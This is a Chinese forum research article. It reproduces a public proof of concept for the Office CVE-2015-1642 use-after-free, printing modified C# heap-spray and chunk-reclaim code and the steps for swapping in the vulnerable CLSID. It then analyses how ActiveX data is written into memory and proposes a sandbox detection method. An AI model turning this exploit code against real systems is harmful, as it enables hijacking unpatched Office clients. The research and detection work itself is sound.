从CVE-2015-1642到Office ActiveX控件堆喷探究
前言
笔者最近重新研究了一下office
下ActiveX
控件堆喷射的相关细节,在此过程中对遇到的一个cve-2015-1642
poc进行了复现,在本文的最后,笔者探索了ActiveX
控件堆喷射的部分原理,提出了一种比较简单的ActiveX
控件堆喷射检测思路,实践证明该方式可以准确检出这类堆喷射。
由于笔者能力有限,不足之处还请读者斧正。
cve-2015-1642 poc复现
cve-2015-1642
被公布时为在野利用状态(0day)。
漏洞细节首先是由@yongchuank
在2015.8.17
公布的,具体见:
https://labs.mwrinfosecurity.com/advisories/microsoft-office-ctasksymbol-use-after-free-vulnerability/
随后,NCC Group
公司的@d0mzw
在2015.10.30
公开了这个漏洞的进一步细节,并在文章内详细讨论了office
内存破坏漏洞借助堆喷射进行利用的具体细节,作者还仔细讨论了office堆喷射的许多细节和通用利用编写方式。
https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives/
接着,玄武实验室的Danny__Wei
在2015.11.28
在自己的博客上公开了这个漏洞的poc,公开的poc是一段C#
代码,poc构造思路基本遵循了NCC Group
的文章。
http://www.cnblogs.com/Danny-Wei/p/5003302.html
笔者最近对office
下ActiveX
控件堆喷射的细节进行了进一步研究,研究过程中再次遇到上述材料,因此决定复现一下相关poc。
对office UAF
漏洞的利用是比较少见的,因为重用内存时占位的时机不好控制。这个漏洞触发后恰好有一段时机可以用来占位,所以值得研究一下。这篇文章还解决了一个问题:可以借助字符串申请申请任意大小的内存块,这在UAF利用时是非常有用的,一般产生UAF时,相应的对象大小往往比较小,所以如何在office
内进行任意大小内存的申请也就显得尤其重要。
office 下的堆喷射技巧,历史上有若干漏洞样本都曾采用过。例如 cve-2013-3906/cve-2015-1641/cve-2015-1642/cve-2016-7193/cve-2017-11826
,有资料表明cve-2015-2424
这个0day也用到了堆喷射,这一点需要进一步考证。
上述几个借助堆喷射的漏洞,其漏洞类型分别如下:
cve-2013-3906
整数溢出
cve-2015-1641
类型混淆
cve-2015-1642
UAF
cve-2016-7193
数组越界写
cve-2017-11826
类型混淆
这里我们来研究一下cve-2015-1642
,笔者遇到的第一个问题是如何编译 Danny__Wei
的poc代码,这看着是一段C#
代码,在经过若干探索后,笔者用VS2010
新建了一个C#
的窗体应用程序,如下:
随后在窗口上添加一个按钮控件:
双击按钮,即来到了button1_Click
函数中,此时将Danny__Wei
的代码全部拷贝进来即可,拷贝完代码后,会有些对象类型不认识,此时我们需要添加对MSCOMCTL.OCX
动态库和Microsoft.Office.Interop.Word.dll
动态库的引用,具体的方法如下:
笔者的电脑装有若干版本的VS,所以这两个动态库可以通过Listary
等工具搜到,将其拷贝到工程目录下,选中后点击确定即可,成功引入后,可以看到引用列表里面多了如下两个库:
最后添加所需的头文件即可:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
// 新加
using Word = Microsoft.Office.Interop.Word;
此时我们就可以编译生成该poc了(确保你的机器上装有office
,笔者的机器上装的是office 2010
)。
编译完成后,双击.exe
文件,出现一个窗口,点击上面的按钮就可以生成poc了(test.docx
):
此时这个test.docx
还不是一个漏洞样本,它只带有堆喷射和0x60
大小的内存占位功能。关于如何在此基础上构造一个cve-2015-1642
的漏洞样本,@d0mzw
在他的文章里面写的很清楚:
笔者在此思路上用7z
打开了生成的docx
文件,并将activeX1.xml
的clsid
换成了漏洞的clsid:44F9A03B-A3EC-4F3B-9364-08E0007F21DF
。此时我们就有了一个“理论上”可以劫持eip
到0xC0DEC0DE
的cve-2015-1642
样本。
为什么说“理论上”呢?因为读者如果自己实验的话,就会发现这个poc很不稳定,构造的样本在没有打补丁的环境中crash是没有问题的,但是笔者试了几次后发现我们并未劫持到eip
。
接下来我们通过调试并改造poc代码来初步实现对eip
的劫持,本文不讨论利用编写,利用编写请参考笔者的另一篇文章:
https://bbs.pediy.com/thread-221792.htm
我们先删除堆喷射部分,构造一个只触发cve-2015-1642
的样本,看一下崩溃现场是否和相关文章里面描述的相同(当然,如果读者比较懒,那么VT也有一个现成的cve-2015-1642
crash poc,有条件的可以自己下载,md5: 8b7d1680d8aeb1d0d822ee33777671ab
)
笔者调试时某次的crash现场如下,可以看到这是一个典型的UAF,且 crash现场和@d0mzw
的基本一致(请注意@yongchuank
的crash现场并不是这里,笔者在office 2013
下开启页堆后的崩溃现场依然是下面这个,读者请以实际调试的情况为准)
现在笔者有一个问题:我不知道被释放前eax
对象的内存大小为多少。我们来下个断点看一下:
到这里,我们已经知道被释放的对象大小为0x60
。
现在,让我们来整理一下思绪,这个UAF如果要成功利用,所构造的文档在执行是需要满足哪些最简条件?
1. 确保 ActiveX 控件的堆喷射成功,例如 0x0a0a0a0a 地址处的内存精确可控
2. 初始化有漏洞的 clsid,0x60大小的内存被释放
3. 立即申请许多 0x60 大小的内存,去重用上述被释放的 0x60 字节内存 <- 这一步是关键
4. 0x60 大小的内存被重新引用,伪造的虚函数指针被调用,控制流成功劫持
我们先来检视一下@d0mzw
文章中提供的思路:
我们再来看一下Danny__Wei
代码中对上述思路的实现,可以发现如果实际执行顺序为从下到上的话,和上述文章的思路完全一样:
顾名思义,DefragmenHeap 函数的作用是整理内存,实际内存申请时可能申请0x60 大小的内存,占用的是稍微大一点的内存块,这个函数的作用就是把那些内存块先使用完,从而让系统分配精准的0x60大小的内存块,以便提高占位的有效性。
到这里,笔者脑海里的问题是:
1. 对象的实际分配顺序到底是主函数代码中的顺序还是有所不同,为什么 Danny__Wei 代码中的顺序和 @d0mzw 文章中建议的顺序相反?
2. 这个UAF在释放内存和重用内存之间的时间差够大吗?利用代码有足够的时间在这个时间区间内占用被释放的0x60大小的内存吗?
3. @d0mzw 文章中的 multiple times 究竟是多少次?Danny__Wei 代码中 DefragmenHeap 函数中申请了32次,ReplaceHeap 函数中申请了16次。自己本地环境中这个值一定够吗?
我们借助调试器来探究一下上述问题。
要回答第1个问题,我们需要清楚以下几点:
a. poc样本中有哪几处关键的内存申请?
b. 如何提通过条件断点来观察这些对象的内存申请的先后顺序?
笔者先回答a:
显然,tabArrayB[j].Buttons.Add().ToolTipText = objAllocB/objAllocB/chunk;
这几处代码执行时存在一个统一的内存申请点。其次,每个ActiveX[x].bin
文件在被映射到office
进程空间时,还有一次统一的内存申请点,笔者将这部分的讨论放到本文最后。
关于objAllocB/objAllocB/chunk
的申请,我们可以在堆喷射完的winword
进程找一个对应堆块的指针,在只开启堆分配用户态栈回溯(+ust
)的情况下可以观察到如下输出:
再回答b:借助上面得到的信息,笔者下了如下断点进行观察:
从上面的日志可以观察到:实际执行时chunk 块(fffe0)的内存是最先申请的,随后是DefragmenHeap和ReplaceHeap中对objAllocA/objAllocB的申请,在不考虑字符串内容的情况下,这两个函数的执行顺序笔者并不关心。实际测试发现把DefragmenHeap函数中的objAllocB内存申请数量进一步增加,将ReplaceHeap函数删除,也可以实现正常占位。
接下来我们通过调试器来回答第2个问题:这个UAF在释放内存和重用内存之间的时间差够大吗?利用有足够的时间在这个时间区间内占用被释放的 0x60大小的内存吗?
既然是UAF,调试时必须定位到Free 在哪里?Reuse在哪里?被释放的 0x60字节内存是否成功被利用代码中申请的对象成功占位。
Danny__Wei 提供的poc在笔者的环境中并不能顺利完成占位,我们来借助调试器看一下究竟发生了什么:
根据上述观察,笔者推测利用代码中对0x60
大小的字符串申请次数太少,于是笔者将DefragmenHeap
函数的代码做了略微修改,如下:
private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingB = "\u0c0c\u0c0c";
while (paddingB.Length < 0x60 / 2)
{
paddingB += paddingB;
}
string objAllocB = paddingB.Substring(0, 0x5a / 2);
MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[16];
ocx[2] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = 0; j < 16; j++)
{
tabArrayB[j] = (MSComctlLib.Toolbar)ocx[2].OLEFormat.Object;
tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
}
MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[16];
ocx[3] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = 0; j < 16; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
MSComctlLib.Toolbar[] tabArrayD = new MSComctlLib.Toolbar[16];
ocx[4] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = 0; j < 16; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
MSComctlLib.Toolbar[] tabArrayE = new MSComctlLib.Toolbar[16];
ocx[5] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = 0; j < 16; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
MSComctlLib.Toolbar[] tabArrayF = new MSComctlLib.Toolbar[16];
ocx[6] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = 0; j < 16; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[3].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
}
同时在 button1_Click
函数进行了如下更改:
private void button1_Click(object sender, EventArgs e)
{
Word.Application objWord = new Word.Application();
objWord.Visible = true;
object objMissing = System.Reflection.Missing.Value;
Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing);
// How to: Programmatically Insert Text into Word Documents;
// https://msdn.microsoft.com/en-us/library/6b9478cs.aspx
Word.InlineShape[] ocx = new Word.InlineShape[8]; // 这里稍作扩大
// ReplaceHeap(objDoc, ocx); // 这句屏蔽与否都没有关系
ocx[1] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
DefragmenHeap(objDoc, ocx);
HeapSpray(objDoc);
// Null out the reference
object filename = Application.StartupPath + @"\test.docx";
objDoc.SaveAs2(ref filename);
objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
objDoc = null;
objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
objWord = null;
}
再次生成样本,笔者这次替换activeX34.xml
中的clsid
为漏洞clsid
,再次打开样本,在调试器中观察如下:
最后回答第3个问题,根据上面的代码已经知道,笔者在DefragmenHeap
函数中一共用了80个大小为0x60字节的字符串去占位被释放的对象。这个视环境不同而异,读者可以按需自行调整。
通过上述调试,笔者成功借助公开资料和调试器劫持了cve-2015-1642
样本的控制流,在此基础上就可以写出这个漏洞的 RCE利用。这个漏洞比较好的一点就是我们可以在UAF之间对内存进行成功占位,对office
来说这类可以成功利用的 UAF 还是比较少的。
Office ActiveX控件堆喷探究
在本文的最后,笔者单独讨论一下 office ActiveX
控件堆喷射时的内存申请细节,这个问题实际上涉及一个更一般的问题:如何准确检出 office
堆喷射样本?也即,如何在动态执行过程中对 cve-2013-3906/cve-2015-1641/cve-2015-1642/cve-2016-7193/cve-2017-11826
这类漏洞样本的堆喷射行为进行准确标定。
每个 ActiveX[x].bin
文件在被映射到 office
进程空间时,有一处统一的内存申请点。
这里笔者以手头的某个自己构造的 cve-2015-1641
样本为例,为方便起见,我将负责堆喷射的 docx 文档单独抽取出来,抽取的 docx 文档内用1个 activeX1.bin
文件外加 40
个 activeX[x].xml
文件进行堆喷射。
关于这部分的更多细节可以参考这篇文章:
https://www.greyhathacker.net/?p=911
其中activeX1.bin的大小为 0x20500 字节:
以下调试环境仍为 windows7 sp1 x86 + office 2010 + windbg
笔者在调试器中( +ust )将文档打开,查找满足上述大小的堆块:
0:012> !heap -flt s 205000
_HEAP @ 1290000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
059d0018 40a00 0000 [00] 059d0020 205000 - (busy VirtualAlloc)
05be0018 40a00 0a00 [00] 05be0020 205000 - (busy VirtualAlloc)
05df0018 40a00 0a00 [00] 05df0020 205000 - (busy VirtualAlloc)
06000018 40a00 0a00 [00] 06000020 205000 - (busy VirtualAlloc)
06210018 40a00 0a00 [00] 06210020 205000 - (busy VirtualAlloc)
06420018 40a00 0a00 [00] 06420020 205000 - (busy VirtualAlloc)
06630018 40a00 0a00 [00] 06630020 205000 - (busy VirtualAlloc)
06840018 40a00 0a00 [00] 06840020 205000 - (busy VirtualAlloc)
06c80018 40a00 0a00 [00] 06c80020 205000 - (busy VirtualAlloc)
06e90018 40a00 0a00 [00] 06e90020 205000 - (busy VirtualAlloc)
070a0018 40a00 0a00 [00] 070a0020 205000 - (busy VirtualAlloc)
072b0018 40a00 0a00 [00] 072b0020 205000 - (busy VirtualAlloc)
074c0018 40a00 0a00 [00] 074c0020 205000 - (busy VirtualAlloc)
076d0018 40a00 0a00 [00] 076d0020 205000 - (busy VirtualAlloc)
078e0018 40a00 0a00 [00] 078e0020 205000 - (busy VirtualAlloc)
07af0018 40a00 0a00 [00] 07af0020 205000 - (busy VirtualAlloc)
07d00018 40a00 0a00 [00] 07d00020 205000 - (busy VirtualAlloc)
07f10018 40a00 0a00 [00] 07f10020 205000 - (busy VirtualAlloc)
08120018 40a00 0a00 [00] 08120020 205000 - (busy VirtualAlloc)
08330018 40a00 0a00 [00] 08330020 205000 - (busy VirtualAlloc)
08540018 40a00 0a00 [00] 08540020 205000 - (busy VirtualAlloc)
08750018 40a00 0a00 [00] 08750020 205000 - (busy VirtualAlloc)
08960018 40a00 0a00 [00] 08960020 205000 - (busy VirtualAlloc)
08b70018 40a00 0a00 [00] 08b70020 205000 - (busy VirtualAlloc)
08d80018 40a00 0a00 [00] 08d80020 205000 - (busy VirtualAlloc)
08f90018 40a00 0a00 [00] 08f90020 205000 - (busy VirtualAlloc)
091a0018 40a00 0a00 [00] 091a0020 205000 - (busy VirtualAlloc)
093b0018 40a00 0a00 [00] 093b0020 205000 - (busy VirtualAlloc)
095c0018 40a00 0a00 [00] 095c0020 205000 - (busy VirtualAlloc)
097d0018 40a00 0a00 [00] 097d0020 205000 - (busy VirtualAlloc)
099e0018 40a00 0a00 [00] 099e0020 205000 - (busy VirtualAlloc)
09bf0018 40a00 0a00 [00] 09bf0020 205000 - (busy VirtualAlloc)
09e00018 40a00 0a00 [00] 09e00020 205000 - (busy VirtualAlloc)
0a010018 40a00 0a00 [00] 0a010020 205000 - (busy VirtualAlloc)
0a220018 40a00 0a00 [00] 0a220020 205000 - (busy VirtualAlloc)
0a430018 40a00 0a00 [00] 0a430020 205000 - (busy VirtualAlloc)
0a640018 40a00 0a00 [00] 0a640020 205000 - (busy VirtualAlloc)
0a850018 40a00 0a00 [00] 0a850020 205000 - (busy VirtualAlloc)
0aa60018 40a00 0a00 [00] 0aa60020 205000 - (busy VirtualAlloc)
0ac70018 40a00 0a00 [00] 0ac70020 205000 - (busy VirtualAlloc)
_HEAP @ 10000
_HEAP @ 1210000
_HEAP @ 14d0000
_HEAP @ 2280000
_HEAP @ 27a0000
_HEAP @ 2620000
_HEAP @ 26a0000
_HEAP @ 3cd0000
_HEAP @ 26e0000
_HEAP @ 3ea0000
_HEAP @ 2790000
_HEAP @ 42e0000
_HEAP @ 5180000
_HEAP @ 4580000
_HEAP @ 5980000
_HEAP @ 5930000
_HEAP @ bf20000
_HEAP @ bba0000
_HEAP @ be70000
_HEAP @ c590000
_HEAP @ ecd0000
_HEAP @ c840000
_HEAP @ c7f0000
0:012> !heap -p -a 059d0020
address 059d0020 found in
_HEAP @ 1290000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
059d0018 40a00 0000 [00] 059d0020 205000 - (busy VirtualAlloc)
Trace: 0244
7750da1c ntdll!RtlLogStackBackTrace+0x00000007
774a5ae0 ntdll!RtlAllocateHeap+0x0000023a
774790dc ntdll!RtlpReAllocateHeap+0x00000863
774bffcf ntdll!RtlReAllocateHeap+0x000002c5
75aeed69 kernel32!GlobalReAlloc+0x0000017f
761e2f36 ole32!CMemBytes::SetSize+0x0000002a <- 可以看到堆块是在这里申请的
76219b50 ole32!CMemBytes::WriteAt+0x00000054
67e7daec mso!Ordinal8882+0x000006f4
67e7d6b8 mso!Ordinal8882+0x000002c0
67e7d4f2 mso!Ordinal8882+0x000000fa
67e7d48b mso!Ordinal8882+0x00000093
67abb0de mso!Ordinal3479+0x00000418
67a5cc1f mso!Ordinal2685+0x00000f9f
6f619729 msxml6!DllRegisterServer+0x0004418c
6f6174cf msxml6!DllRegisterServer+0x00041f32
6f61a113 msxml6!DllRegisterServer+0x00044b76
6f6180bb msxml6!DllRegisterServer+0x00042b1e
67a5c502 mso!Ordinal2685+0x00000882
67ab95f1 mso!Ordinal5215+0x0000078d
67e7d33c mso!Ordinal7691+0x000000cb
67e7d26d mso!Ordinal2270+0x00000016
66df82d1 wwlib!DllGetLCID+0x0066c25b
6667a2d3 wwlib!GetAllocCounters+0x000e3e7b
665bf339 wwlib!GetAllocCounters+0x00028ee1
67abb0de mso!Ordinal3479+0x00000418
67a5cc1f mso!Ordinal2685+0x00000f9f
6f619729 msxml6!DllRegisterServer+0x0004418c
6f619707 msxml6!DllRegisterServer+0x0004416a
6f619707 msxml6!DllRegisterServer+0x0004416a
6f619707 msxml6!DllRegisterServer+0x0004416a
6f619707 msxml6!DllRegisterServer+0x0004416a
6f619707 msxml6!DllRegisterServer+0x0004416a
笔者在上述栈回溯信息中注意到了两个函数:ole32!CMemBytes::WriteAt 和 ole32!CMemBytes::SetSize。我们用 IDA 定位到mso.dll(14.0.1063.1000) 中的相应调用点来看一下:
我们来看一下 ole32!CMemBytes::WriteAt
的伪代码,其中灰色调用处调用了 ole32!CMemBytes::SetSize
函数:
到这里,笔者有若干问题:
1. mso.dll里面该处调用每次都会调用 ole32!CMemBytes::WriteAt 函数吗?
2. 每次调用 ole32!CMemBytes::WriteAt 都是在写 ActiveX[x].bin 的数据吗?
3. 每个 ActiveX[x].bin 控件在被映射到内存时,其实际操作过程是怎样的?
我们先来探索第1个问题。
我们对 mso.dll 的上述调用点下断点,看一下每次调用的具体函数是什么:
0:004> bp mso+5edae9 "u poi(ecx+10) l1; g;"
0:004> g
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff mov edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff mov edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff mov edi,edi
...
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff mov edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff mov edi,edi
ole32!CMemBytes::WriteAt [d:\w7rtm\com\ole32\ole232\base\memstm.cpp @ 1973]:
761e2e6c 8bff mov edi,edi
通过日志可以观察到这个地方每次调用的都是 ole32!CMemBytes::WriteAt 函数。
分析到此处,笔者突然记起自己之前写过的一篇文章,里面谈到了在 office 2010 下借助 msxml6.dll 的符号打印解析的xml标签的断点,相关文章见:
https://www.anquanke.com/post/id/103080
我们来看一下ole32!CMemBytes::WriteAt 函数是在解析到哪个标签时被调用的:
0:000> bp msxml6!Reader::ParseElementN+0x6a "du poi(ebp-20) lpoi(ebp-1c); gc"
0:000> bp mso+5edae9 "dd /c 6 esp l6; g;"
0:000> g
...
043589da "v:path"
043589da "o:lock"
043589c4 "v:shape"
043589d2 "v:imagedata"
043589c4 "w:control"
0435c4e6 "ax:ocx"
0020eab0 06389ac8 00000000 00000000 0020eafc 00001000 0020eae4
可以看到正是解析到 ax:ocx
标签后,开始调用ole32!CMemBytes::WriteAt
映射 ActiveX
控件的内存。
接下来看一下第2个和第3个问题,我们来看一下 ole32!CMemBytes::WriteAt
的声明:
unsigned int __stdcall CMemBytes::WriteAt(
CMemBytes *this, // CMemBytes对象指针
_ULARGE_INTEGER ulOffset, // 内存偏移
const void *pb, // 源数据指针
unsigned int cb, // 待写字节数
unsigned int *pcbWritten // 一个指针,指向实际写的字节数
)
再次下断点,在函数调用前输出参数看一下:
0:011> bp mso+5edae9 "dd /c 6 esp l6; g;"
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office14\mso.dll -
0:011> g
(b9c.f88): Unknown exception - code e0000002 (first chance)
(b9c.f88): Unknown exception - code e0000002 (first chance)
002be6ac 00154400 00000000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00001000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00002000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00003000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00004000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00005000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00006000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00007000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00008000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00009000 00000000 002be6f8 00001000 002be6e0
...
002be6ac 00154400 00200000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00201000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00202000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00203000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00204000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154400 00205000 00000000 002be6f8 00000000 002be6e0
002be6ac 00154430 00000000 00000000 002be6f8 00001000 002be6e0
002be6ac 00154430 00001000 00000000 002be6f8 00001000 002be6e0
可以观察到每次调用 ole32!CMemBytes::WriteAt
函数时待写入数据的大小(cb
)都为 0x1000
,偏移(ulOffset
)则按0x1000
的顺序递增。由此笔者合理推断 ActiveX
控件在被映射到内存时,是按每次0x1000
的大小被写入的,所以调用 ole32!CMemBytes::WriteAt
处应该位于一处循环内,我们看一下相关调用点的伪代码,果然如此:
现在让我们在第1次调用 ole32!CMemBytes::WriteAt
时断下,看一下写入的数据是什么?
0:011> bp mso+5edae9 ".echo call ole32!CMemBytes::WriteAt; dd /c 6 esp l6;"
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office14\mso.dll -
0:011> g
(128.fbc): Unknown exception - code e0000002 (first chance)
(128.fbc): Unknown exception - code e0000002 (first chance)
call ole32!CMemBytes::WriteAt
0016e9ac 063b5698 00000000 00000000 0016e9f8 00001000 0016e9e0
eax=063b5698 ebx=00000000 ecx=761c0f10 edx=0016e9f8 esi=062669ec edi=00001000
eip=67e7dae9 esp=0016e9ac ebp=0016f9fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal8882+0x6f1:
67e7dae9 ff5110 call dword ptr [ecx+10h] ds:0023:761c0f20={ole32!CMemBytes::WriteAt (761e2e6c)}
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\msxml6.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\WINWORD.EXE -
0:000> dc 0016e9f8
0016e9f8 e011cfd0 e11ab1a1 00000000 00000000 ................
0016ea08 00000000 00000000 0003003e 0009fffe ........>.......
0016ea18 00000006 00000000 00000000 00000021 ............!...
0016ea28 00000001 00000000 00001000 fffffffe ................
0016ea38 00000000 fffffffe 00000000 00000000 ................
0016ea48 00000002 00000003 00000004 00000005 ................
0016ea58 00000006 00000007 00000008 00000009 ................
0016ea68 0000000a 0000000b 0000000c 0000000d ................
...
0:000> g
call ole32!CMemBytes::WriteAt
0016e9ac 063b5698 00058000 00000000 0016e9f8 00001000 0016e9e0
eax=063b5698 ebx=00000000 ecx=761c0f10 edx=0016e9f8 esi=062669ec edi=00001000
eip=67e7dae9 esp=0016e9ac ebp=0016f9fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal8882+0x6f1:
67e7dae9 ff5110 call dword ptr [ecx+10h] ds:0023:761c0f20={ole32!CMemBytes::WriteAt (761e2e6c)}
0:000> dc 0016e9f8
0016e9f8 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea08 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea18 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea28 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea38 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea48 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea58 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
0016ea68 7c342404 7c342404 7c342404 7c342404 .$4|.$4|.$4|.$4|
可以看到写入的数据正是ole头部,并且在随后写入了ActiveX[1].bin
控件的其余数据。
分析到这里,笔者想知道目的地址在哪里,既然有一个ulOffset
,那么肯定有一个base
,我们能通过上述数据得到base
吗?答案是肯定的。
在ole32!CMemBytes::WriteAt
函数中,调用完ole32!CMemBytes::SetSize
后,有一处memcpy
操作,这里就是在往新扩大的0x1000
内存拷贝数据,其中第一个参数就是通过base[offset]
来寻址的,笔者在寻找的就是这个v5
, 可以看到v5
是通过如下调用得到的:
v5 = (char *)GlobalLock(this->m_pData->hGlobal); // CMemBytes *this
看来 v5
是间接通过 CMemBytes
对象指针得到的,我们来看一下 GlobalLock
函数的实现:
可以看到在GlobalLock
函数中,返回的值其实就是对传入的参数做了一次解引用,原来如此。
现在我们还需要搞清楚CMemBytes
对象及其相关对象的结构体,幸运的是 IDA 已经给出了相关的结构体定义:
CMemBytes struct __cppobj :
ILockBytes,
CPrivAlloc {
unsigned int m_dwSig;
unsigned int m_refs;
void *m_hMem;
MEMSTM *m_pData;
}
MEMSTM struct {
unsigned int cb;
unsigned int cRef;
char *m_pBuf;
void *hGlobal;
int fDeleteOnRelease;
}
我们的目的就是通过 CMemBytes
对象指针去解析到 v5
对应的地址,所以我们可以将断点修正如下:
上面的日志是一次完整的从offset=0
到offset=0x20500
的过程(中间省略了大量重复日志),笔者注意到base_addr
地址在中间发生过改变,笔者猜测一开始的地址在内存增长过程中可能大小不过,于是将之前已拷贝的数据拷贝到了一块更大的内存,并继续增长,这应该和GlobalReAlloc
函数的实现有关,这里不再深究。
分析到这里,原则上笔者可以写出一个监控office ActiveX
堆喷射总内存申请大小的实时 windbg 脚本,但是实际使用时发现带有伪寄存器的脚本执行的速度太慢,该脚本仅供参考。
// base_addr 以最终分配到 0x20500 大小的堆块基址为准,通过上面的分析我们可以知道一开始使用的小堆块可能会被更大的堆块替换
bp mso+5edae9 "r $t0=$t0+poi(ebp-0x100c); .printf\"base_addr=0x%x, tota_size=0x%x\", poi(poi(poi(eax+0x10)+0xc)), $t0; .echo; g;"
实际应用
由于笔者的日常工作涉及到沙箱检测技术的开发,所以我试着将上述调试结论融入沙箱的检测框架。通过累加堆喷射内存大小,并与预先准备的阈值(以下为75MB
)进行比较,从而判断一个office
样本是否有 ActiveX
控件异常堆喷射行为。笔者对cve-2013-3906/cve-2015-1641/cve-2015-1642/cve-2016-7193/cve-2017-11826
常见攻击样本进行检测,获得了非常好的检出效果。
这里笔者给出若干漏洞的样本以及对应的检出日志,供读者参考:
cve: cve-2013-3906
md5: eef07859f6ff48f92388530ae4958d82
检出示例:
Detected suspicious office ActiveX heap spray.
size: 0x1000, count:0x4b01
last_address: 0x0e3d0020
---------------------------------------------
cve: cve-2015-1641 and cve-2016-7193
md5: 3d429324354aa0f1a49168c6790d5a62
检出示例:
Detected suspicious office ActiveX heap spray.
size: 0x1000, count:0x4b01
last_address: 0x09200020
---------------------------------------------
cve: cve-2017-11826
md5: eb69519b1e62a73e5b3eb06cf5bb0a7d
检出示例:
Detected suspicious office ActiveX heap spray.
size: 0x1000, count: 0x4b4a
last_address: 0x08d83878
总结
由于office
中一定还存在其他内存破坏漏洞,笔者预计未来仍然会有类似的利用手法出现,这些利用在针对旧版本 office(office 2007/office 2010)
的攻击中还是非常稳定的。
由于微软EMET
的HeapSpray
检测方式只是简单的占坑,在新样本的检测中并没有非常好的效果。因此笔者在本文最后提供了一种较为简单的检测 office 堆喷射检测方式,供读者参考。
参考链接
《Microsoft Security Bulletin MS15-081 - Critical》
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-081
《Microsoft Office CTaskSymbol Use-After-Free Vulnerability》
https://labs.mwrinfosecurity.com/advisories/microsoft-office-ctasksymbol-use-after-free-vulnerability/《Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability》
https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives/《CVE-2015-1642 POC》
http://www.cnblogs.com/Danny-Wei/p/5003302.html《Spraying the heap in seconds using ActiveX controls in Microsoft Office》
https://www.greyhathacker.net/?p=911《结合一个野外样本构造一个cve-2016-7193弹计算器的利用》
https://bbs.pediy.com/thread-221792.htm《Open XML标签解析类漏洞分析思路》
https://www.anquanke.com/post/id/103080
- End -
看雪ID:银雁冰
https://bbs.pediy.com/user-528840.htm
本文由看雪论坛 银雁冰 原创
转载请注明来自看雪社区
